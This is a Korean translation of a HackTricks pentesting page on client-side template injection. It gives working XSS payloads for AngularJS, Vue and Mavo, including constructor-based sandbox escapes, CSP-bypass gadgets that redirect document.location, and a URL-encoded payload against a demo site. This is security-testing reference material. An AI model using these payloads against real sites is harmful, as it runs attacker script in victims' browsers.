클라이언트 측 템플릿 삽입 (CSTI)

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
공식 PEASS & HackTricks 스왜그를 구매하세요
The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
💬 디스코드 그룹에 가입하거나 텔레그램 그룹에 가입하거나 트위터** 🐦 @carlospolopm를 팔로우하세요.
해킹 트릭을 공유하려면 PR을 제출하여 HackTricks 및 HackTricks Cloud github 저장소에 제출하세요.

WhiteIntel

WhiteIntel은 다크 웹을 활용한 검색 엔진으로, 회사나 그 고객이 스틸러 악성 코드에 의해 침해당했는지 무료로 확인할 수 있는 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난당한 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 방문하여 엔진을 무료로 시험해 볼 수 있습니다:

{% embed url="https://whiteintel.io" %}

요약

이는 서버 측 템플릿 삽입과 유사하지만 클라이언트에서 발생합니다. SSTI는 원격 서버에서 코드를 실행할 수 있게 해주지만, CSTI는 피해자의 브라우저에서 임의의 JavaScript 코드를 실행할 수 있게 합니다.

이 취약점을 테스트하는 방법은 SSTI의 경우와 매우 유사합니다. 해석기는 템플릿을 기대하고 실행할 것입니다. 예를 들어, {{ 7-7 }}와 같은 payload로, 앱이 취약하다면 0을 볼 수 있고, 그렇지 않으면 원본인 {{ 7-7 }}을 볼 수 있습니다.

AngularJS

AngularJS는 HTML과 상호 작용하는 널리 사용되는 JavaScript 프레임워크로, **ng-app**과 같은 디렉티브로 HTML을 처리할 수 있게 합니다. 이 디렉티브는 AngularJS가 HTML 콘텐츠를 처리하고 중괄호 안에 JavaScript 표현식을 실행할 수 있게 합니다.

사용자 입력이 ng-app으로 태그된 HTML 본문에 동적으로 삽입될 때, 임의의 JavaScript 코드를 실행할 수 있습니다. 입력 내에서 AngularJS 구문을 활용하여 이를 달성할 수 있습니다. 아래는 JavaScript 코드를 실행하는 방법을 보여주는 예시입니다:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

당신은 http://jsfiddle.net/2zs2yv7o/와 Burp Suite Academy에서 AngularJS 취약점의 매우 기본적인 온라인 예제를 찾을 수 있습니다.

{% hint style="danger" %} Angular 1.6은 샌드박스를 제거했습니다 따라서 이 버전부터 {{constructor.constructor('alert(1)')()}} 또는 <input ng-focus=$event.view.alert('XSS')>와 같은 페이로드가 작동해야 합니다. {% endhint %}

VueJS

https://vue-client-side-template-injection-example.azu.now.sh/에서 취약한 Vue 구현을 찾을 수 있습니다.
작동하는 페이로드: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

그리고 취약한 예제의 소스 코드는 여기에 있습니다: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

V3

Vue에서 CSTI에 대한 매우 좋은 포스트를 여기에서 찾을 수 있습니다.

{{_openBlock.constructor('alert(1)')()}}

V2

크레딧: Gareth Heyes, Lewis Ardern & PwnFunction

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

더 많은 VUE payloads를 확인하세요 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

페이로드:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

더 많은 페이로드 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations